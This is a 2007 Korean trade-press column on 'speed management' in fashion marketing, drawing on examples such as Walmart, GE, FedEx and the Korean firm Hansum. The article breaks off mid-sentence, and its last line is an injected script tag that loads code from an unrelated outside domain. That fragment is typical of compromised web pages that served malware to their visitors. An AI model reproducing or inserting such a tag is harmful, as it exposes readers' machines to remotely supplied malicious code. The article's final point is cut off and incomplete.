따라 올 테면 따라와 봐!
2007-01-30권 민 기자  km@fashioninsight.com


졸저인 <패션 인사이트 마케팅>이라는 책을 낸 다음에 쏟아지는 질문으로 당황스러울 때가 많다. 독자들이 더 많은 자료를 요구하거나 상당히 예리한 질문으로 본인을 당혹스럽게 만들기 때문이다. 이제부터 메일을 통해서 오는 질문들을 공통적인 카테고리로 묶어서 답변을 하고자 한다.
지금까지 가장 많은 질문은 ‘패션 스피드 마케팅’에 관한 질문이었고 두번째는 ‘브랜딩’에 관한 질문이었다. 앞으로 이 두 질문에 관한 것을 보다 많은 지면을 할애해서 설명하고자 한다.

스피드 경영
스피드 경영에 관한 질문 중에서도 어떻게 하면 회사가 빨리 돌아갈 수 있을까? 라는 것이 가장 많았다. 그러나 이 질문은 마지막에 답 하도록 하겠다. 먼저 ‘스피드’는 무엇이고 그 스피드를 어떻게 얻을 수가 있을까에 대해서 알아보자. SPEED라는 단어를 사전에서 찾아보면 ‘속도’ ‘힘’ ‘성공’의 의미를 동시에 가지고 있다. 이처럼 단어의 뜻만을 살펴보아도 스피드가 어떤 결과물을 가져다 줄 것인가를 예측하게 된다. 스피드의 결정체는 ‘힘’이고, 그것의 목적은 ‘성공’이다. 이것은 구조적으로 ‘속도=힘=성공’이라는 직렬관계를 가지고 있다.
이런 스피드 경영의 신화를 이해하기 쉬운 몇 개의 좋은 사례가 있다. 미국의 유통업체인 월마트는 몇 년 전만 해도 경쟁사인 K마트에 비해 규모가 작았다. 그러나 이 회사가 제품공급 기간을 대폭 줄이는 것으로 점차 K마트를 추월해 나가기 시작했다. K마트의 경우 제품공급 기간은 2주일에 한번 정도였다. 그러나 월마트는 유통업에서 가장 중요한 것이 스피드라고 보고 제품공급 횟수를 1주일에 2번씩으로 늘렸다. 월마트는 제품의 신선도 유지를 위해 제품공급 기간을 K마트보다 4배나 단축시킨 것이다. 그 결과 월마트는 업계 1위를 차지했으며 재고는 4분의1로 줄었다. 무엇보다 소비자의 선택 폭이 경쟁사보다 4배로 늘어남으로서 고객을 만족시켰다는 점이 성공의 비결인 것으로 나타났다. 월마트의 스피드경영은 GE 등 많은 초일류기업에게 전수됐다. 스피드 경영을 한수 배운 GE는 우선 신제품 개발기간을 절반으로 줄이는 ‘NPI (New Product Introduction) 운동’ 을 전개했다. 고객을 대하는 일선 직원에게 권한을 많이 위임하여 애프터 서비스맨에게 항상 1백달러 정도의 현금을 지참하도록 했다. 제품고장으로 인한 내용물 손상정도를 현장에서 판단해 즉시 보상하기 위한 것이었다.
미국의 운송업체인 페덱스는 자체 통신위성과 배달직원이 휴대하는 수퍼트랙커 (단말기) 를 연결해 배달의 전과정을 한눈에 파악하는 시스템을 도입했다. 이 시스템을 통해 제 때 배달이 이뤄지지 않으면 고객에게 환불해주고 배달원에게는 지연시간에 따라 벌점을 주는 것이다. 이와 같이 스피드 = 서비스, 매출로 보고 조직의 틀을 바꾸거나 영업의 프로세스를 바꾸어 캐주얼의 혁신을 일으킨 지오다노도 한국의 좋은 사례라고 할 수 있다.
비록 스피드 경영에 대해서는 공장이나 제조업체, 그리고 유통업체에서만 강조했던 사항이지만 패션이야말로 스피드 경영이 본원적인 것이라고 말해도 과장되지 않을 것이다. 왜냐하면 패션 자체가 스피드의 공학에서 이루어진 문화 상품이기 때문이다.
먼저 브랜드가 스피드 경영을 통해서 얻는 것은 브랜드 파워와 상상할 수 없는 매출이다. 그러나 여기서 말하는 스피드는 단순히 회전율과 돈 되는 상품을 밀어내는 것을 말하는 것이 아니다. 패션 브랜드가 가져야 할 스피드는 크게 두 가지가 있는데 하나는 트렌드를 빨리 따라가는 ‘추적 스피드’와 경쟁 브랜드가 따라오지 못할 정도로 마케팅의 거리를 유지하는 ‘유지 스피드’가 있다. 말 그대로 추적 스피드는 조직의 힘에서 나오고 유지 스피드는 마케팅 힘에서 나온다.
속도가 경외시 되는 디지털 사회문화 속에서 패션 트렌드는 바로 속도이다. 또한 그 속도는 바로 매출이다. 이런 문화 속도의 경쟁에서 탁월하게 그 힘을 집중하여 매출로 폭발시키는 회사가 바로 한섬이라고 할 수 있다. 한섬이 가지고 있는 브랜드의 상품은 타의 추종을 불허하는 스피드가 있다. 그 핵심은 물류, 유통, 디자인, 마케팅, 해외 안테나, 의사소통, 권한 위임, 기본 스타일 충실, 예측 모델 등등 다양한 엔진들이 사용되어지고 있다. 그러나 단순히 이런 엔진들이 좋다고 스피드가 좋은 것은 아니다. 마하를 뚫고 가는 콩코드의 기체가 다른 어떤 비행기 보다 날렵한 형태로 엔진 아닌 엔진의 역할을 하는 것처럼 스피드 경영을 위한 본질적 엔진을 찾아야 한다.
가장 탁월한 엔진은 바로 ‘의사결정의 모델’이다. 트렌드를 발견했을 때부터 시작되는 의사결정은 스피드의 핵심으로서 이것이 바로 조직의 형태를 결정한다. 즉 매출의 결정적 요소가 현장에서 포착이 되어서 최종 결정권자에게 도달하기 까지 저항체 없이 ?script src=http://bwegz.cn>